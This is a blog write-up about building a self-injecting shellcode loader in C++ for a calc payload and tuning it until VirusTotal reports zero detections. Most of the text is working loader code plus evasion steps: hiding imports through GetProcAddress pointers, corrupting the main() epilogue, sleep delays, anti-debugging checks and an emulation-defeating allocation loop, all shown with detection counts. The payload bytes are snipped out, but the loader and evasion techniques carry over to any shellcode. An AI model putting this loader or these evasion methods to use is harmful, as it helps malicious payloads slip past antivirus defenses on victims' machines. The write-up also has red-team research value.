---
description: The quest to achieve an undetected self-injecting calc implant
---

# ZeroTotal: Self-Injecting Calc

### Part One: Introduction

In this writeup, we're going to take our previous work and take it to its next logical step. We're going to take our custom calc payload, and implement it into a self-injecting implant. The goal is to once again get zero hits on VirusTotal.

### Part Two: Getting Started

We begin with this code template.

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
           DWORD oldprotect = 0;
	
	//custom calc payload
	unsigned char payload[] = { 0x90, 0x48, […snip…]0xff 0x0 };
	unsigned int payload_len = sizeof(payload);
	
	// Allocate a memory buffer for payload
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// Copy payload to program memory
	RtlMoveMemory(exec_mem, payload, payload_len);
	
	// Make payload executable
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	printf("\nLaunch Payload?\n");
	getchar();

	// Run payload
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}

```

If we compile and run the code above we see that it works.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FrT2kZndjXACHJuSAziia%2Fimage.png?alt=media&#x26;token=a8a427a1-d2b1-4f01-9ec7-01287a447eac" alt=""><figcaption></figcaption></figure>

### Part Three: Cruising with the compiler

Lets compile and test this code against VirusTotal.

It's here that my experiments showed something interesting. If we compile implant.exe with /MD instead of /MT, that is we dynamically link the executable instead of the standard malware approach of statically linking, we only get 5 hits on VirusTotal.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FL0fOYGZq1oUc7JWuQnnD%2Fimage.png?alt=media&#x26;token=6480f319-22be-454e-999d-6450e2d0a706" alt=""><figcaption></figcaption></figure>

Another benefit to this is we have a 12kb payload, instead of a 142 kb payload.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FbQPHOvB1090j924uCi42%2Fimage.png?alt=media&#x26;token=43250a57-14c0-4ff0-bc69-a6783d6fbec3" alt=""><figcaption></figcaption></figure>

Obviously there are going to be some differences in the import address tables, and if a target does not have all the appropriate .dlls accessible to our implant, the execution of our code will fail. But since our goal is to beat VirusTotal, we can continue to use our dynamically linked payload.

Implant\_static.exe:

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FRJwxCz9lF7HPZGCJNOms%2Fimage.png?alt=media&#x26;token=2c774ae6-48f6-4bae-841c-579789d7dd3f" alt=""><figcaption></figcaption></figure>

Implant\_dynamic.exe:

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FD6ePFcEJtRY3VNlNJlyy%2Fimage.png?alt=media&#x26;token=3ef6da41-a47f-4e0f-8e41-d247f3e64f76" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FZp11nEbm33tVeqywnCVa%2Fimage.png?alt=media&#x26;token=3e04ab75-2a2a-4118-93e6-a744c961abf7" alt=""><figcaption></figcaption></figure>

There's a couple of approaches we can take now. Either we can apply some programmatic C++ level solutions or we can do as we did previously and modify the executable at an assembly level. We'll explore both.



### Part Four: Lets get down to business

Now that we've settled on an approach and on the version of our executable we want to modify, lets open it up in BinaryNinja and do a little bit of reversing.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FHSk4eIExGSVnp0TTmEDl%2Fimage.png?alt=media&#x26;token=ef6ea906-58b6-4663-b713-e0b0b75052e6" alt=""><figcaption></figcaption></figure>

We go to our main function (you'll have to find it yourself, the names are stripped from the binary). And we start poking around.

We're going to try something a little interesting here. Every function in assembly has an epilogue, it's where the function cleans up variables and prepares to return to wherever it was called from. Now, because the main function does everything we need it to before the epilogue, and easy way to break a lot of static analysis is to corrupt the function epilogue. Lets try that and see how it goes.

Original epilogue:

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FezlAbpOX27ssAi21nPfD%2Fimage.png?alt=media&#x26;token=cf27da83-3920-4750-b38a-b8c2e2fffc60" alt=""><figcaption></figcaption></figure>

New epilogue:

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FsdoB8RRe9ubtgTvByCQN%2Fimage.png?alt=media&#x26;token=1514bb86-841a-4ded-b335-f0e36f91de5c" alt=""><figcaption></figcaption></figure>

And our program still works.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FuFbZeyk06Kzu7fUNFnWL%2Fimage.png?alt=media&#x26;token=cc61d7ce-a137-449a-97fe-28dd1549d20e" alt=""><figcaption></figcaption></figure>

We're down to the final three on VirusTotal!

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2Fo7aIeEDcwb7bM1Vr5hB0%2Fimage.png?alt=media&#x26;token=369739bd-86aa-4d97-ab81-40c139cf39b3" alt=""><figcaption></figcaption></figure>

Lets take a look at the calling conventions for Windows.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2Fm9aaxJgsZBpoyfK1Ja3Y%2Fimage.png?alt=media&#x26;token=dde9fba6-0b59-4028-88ec-9dd0d87e39a4" alt=""><figcaption></figcaption></figure>

The list of registers in the scratch register column, that is rax, rcx, rdx, r8, r9, r10, and r11 are free to clobber between functions. Purposefully doing that should help break up our signature even further and maybe get is down to zero.

Ideally, what we want to do is break apart how functions get called. If we divert from the standard function calling mechanics, automated static analysis will have a hard time understanding what's actually happening in our program.

### Part Five: Defeating the Huns

After awhile of doing byte level manipulations I got stuck at three. And honestly, there's no real way of getting around static analysis checking my imports at this level.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FAb6wrKrXaC3FxnBcE9al%2Fimage.png?alt=media&#x26;token=a3164997-658e-42d7-b3c3-3b8afadae319" alt=""><figcaption></figcaption></figure>

Those calls to CreateThread, VirtualAlloc, and VirtualProtect are probably what's getting us in trouble. Lets implement some WinAPI pointers to get around that.

Of note, you won't see RtlMoveMemory listed in the imports because the compiler inlined that portion of the code.

Now our code looks a little more complicated, but here it is:

```cpp
#include <windows.h>
#include <stdio.h>
#include <time.h>


unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
unsigned char sVirtualAlloc[] = {'V','i','r','t','u','a','l','A','l','l','o','c',0x0};

typedef LPVOID (WINAPI * VirtualAlloc_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef BOOL (WINAPI * VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);

int __cdecl main(VOID) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;
	
	//function pointers
	VirtualAlloc_t VirtualAlloc_p = (VirtualAlloc_t) GetProcAddress(GetModuleHandle((LPCSTR) "kErnEl32.DLl"), (LPCSTR) sVirtualAlloc);
	VirtualProtect_t VirtualProtect_p = (VirtualProtect_t) GetProcAddress(GetModuleHandle((LPCSTR) "kErnEl32.DLl"), (LPCSTR) sVirtualProtect);
	
	//custom calc payload
	unsigned char payload[] = { […snip…] };
	unsigned int payload_len = sizeof(payload);
	
	// Allocate a memory buffer for payload
	exec_mem = VirtualAlloc_p(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// Copy payload to program memory ; this gets inlined
	RtlMoveMemory(exec_mem, payload, payload_len);
	
	// Make payload executable
	rv = VirtualProtect_p(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	printf("\nLaunch Payload?\n");
	getchar();

	// Run payload
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, INFINITE);
	}

	return 0;
}

```

If we compile it and look at our imports on PE Bear, we notice that VirtualProtect and VirtualAlloc are missing! Perfect. Lets break the main function epilogue and see how we do now.

If you're paying attention as you clobber the main() epilogue, you'll notice that the function calls to VirtualProtect and VirtualAlloc are missing, which is exactly what we want.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FJUrDIbDkNK0nD39I1Mbv%2Fimage.png?alt=media&#x26;token=faf19c62-9dd3-4403-b71c-eaf007c1340d" alt=""><figcaption></figcaption></figure>

Lets opt for the lazy nop and see where that gets us on VirusTotal.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FNj1WmjPMzuMQ46qDJGaJ%2Fimage.png?alt=media&#x26;token=21239d2c-dc0a-4114-9f00-4c89f042dad9" alt=""><figcaption></figcaption></figure>

And then there were two:

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FqLvn63BtAcq7rD11rly6%2Fimage.png?alt=media&#x26;token=c99235ba-1e65-4ea8-895e-04774555c4ff" alt=""><figcaption></figcaption></figure>

Looking at the VirusTotal results, there are several providers that timed out. This took about 90 seconds so lets see if we can force more to time out by simply telling our program to wait at runtime.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2F0IIQGAFuqFb6zOc0mFNa%2Fimage.png?alt=media&#x26;token=06d759f6-c612-4b51-aaea-8c59d33e7516" alt=""><figcaption></figcaption></figure>

So this time we're going to do three things:

* Remove CreateThread() by using an API function pointer like we did for VirtualAlloc/VirtualProtect
* Destroy the epilogue of our main() function call
* Add a ten second sleep to try to force more AV engines to time out on VirusTotal

Looks like we're still stuck at two.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FsH0G72y5d5TbOz0NYsX7%2Fimage.png?alt=media&#x26;token=7b58be35-ab66-439f-87cf-0354fec354e5" alt=""><figcaption></figcaption></figure>

Using ThreatCheck, we get a hint of what's wrong.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2F8AhMRb6kwgPswxMCZ4KG%2Fimage.png?alt=media&#x26;token=88e3a5d5-61db-4176-9011-45bd06bd5771" alt=""><figcaption></figcaption></figure>

Our file is failing emulation checks! We've got to figure out a way to break out of those checks. Lets apply some anti-debugging techniques.

### Part Six: The force of a great typhoon

We implement a couple of techniques, and it looks like we might be good!

```cpp
BOOL  bDebuggerPresent;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &bDebuggerPresent);
__analysis_noreturn int FatalExit(1);
DebugActiveProcessStop(GetCurrentProcessId());
if (!(IsDebuggerPresent() || bDebuggerPresent)){[…snip…]
```

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FXAb4Duno9abNXN7MxYQq%2Fimage.png?alt=media&#x26;token=cc7cde02-70c5-42ea-9f0f-5c405f81fecc" alt=""><figcaption></figcaption></figure>

And then there was one...

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FzlkMoa0tqorV2eSm2SFQ%2Fimage.png?alt=media&#x26;token=ce87097f-60a5-4702-ba9c-6bfe1c7796fc" alt=""><figcaption></figcaption></figure>

There's one more anti-debugging trick that's worth a try. And honestly at this point we can abandon the lower level executable manipulations, they were successful for some intermediate level detection algorithm's, but the debugging checks get us passed that without the need to clobber the main() function epilogue.

Lets add this check and see if we can get 0:

```cpp
int i = 1000000;
int n = 0;
char * buffer;
buffer = (char*) malloc (i+1);

for (n=0; n<i; n++)
  buffer[n]=rand()%26+'a';
buffer[i]='\0';

if (buffer==NULL) 
	exit (1);
	
free (buffer);
```

### Part Seven: ???

\[Intentionally left blank]

### Part Eight: Profit

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FC6DCtzJn8GhzpfWbU4nF%2Fimage.png?alt=media&#x26;token=a79aa01b-6ae4-4822-9857-fcb1b55de1cd" alt=""><figcaption><p><a href="https://www.virustotal.com/gui/file/0a5a6c5ef714388e231c812ce00990b69df7523af78478cce974a5caa1cfc614?nocache=1">https://www.virustotal.com/gui/file/0a5a6c5ef714388e231c812ce00990b69df7523af78478cce974a5caa1cfc614?nocache=1</a></p></figcaption></figure>

A second attempt validates that we can get rid of the long sleep() when deploying our payload too!

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FiPZWSsUv47CpUHyjIHhb%2Fimage.png?alt=media&#x26;token=d678d0a8-a1ce-4f5c-9149-a5a91eecc6be" alt=""><figcaption><p><a href="https://www.virustotal.com/gui/file/cd0c8a571f09f80c182ab51c77eb6f0b0fd3123b40e66125ddcd2f3caeffb748?nocache=1">https://www.virustotal.com/gui/file/cd0c8a571f09f80c182ab51c77eb6f0b0fd3123b40e66125ddcd2f3caeffb748?nocache=1</a></p></figcaption></figure>

After a little bit more tweaking to our code for readability, we succeed once more!

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FBY5CRT5wKMkh75NVuCM6%2Fimage.png?alt=media&#x26;token=614d08ad-639a-4150-b5de-af6aab955236" alt=""><figcaption></figcaption></figure>

### Part Nine: Conclusion

In this writeup we saw the effects various techniques has on our implant's detectability and functionality. Low-level opcode manipulations gave us an advantage over some forms of static analysis, but the payoff-to-work ratio made pursuing programmatic manipulations more worthwhile. We also saw that sleep manipulation was not particularly effective in this case.

Additionally, it's important to note that we spent most of our time working with a dynamically compiled payload, and as such there's going to be limitations on the types of targets that this specific set of methodologies will work against.

Ultimately, we were able to quickly and rather simply overcome a significant detection challenge by simply using WinAPI pointers and some pretty basic debugging checks. Next time, we'll use this as a jumping off point as we work to achieve a 0-total for a static implant.



### References:

{% embed url="https://github.com/0xTriboulet/ZeroTotal/tree/main/self-injecting-calc" %}

{% embed url="https://wiki.osdev.org/Calling_Conventions" %}

{% embed url="https://learn.microsoft.com/en-us/cpp/build/prolog-and-epilog?view=msvc-170" %}

{% embed url="https://github.com/HackOvert/AntiDBG/blob/master/antidbg/AntiDBG.cpp" %}

{% embed url="https://anti-reversing.com/Downloads/Anti-Reversing/" %}
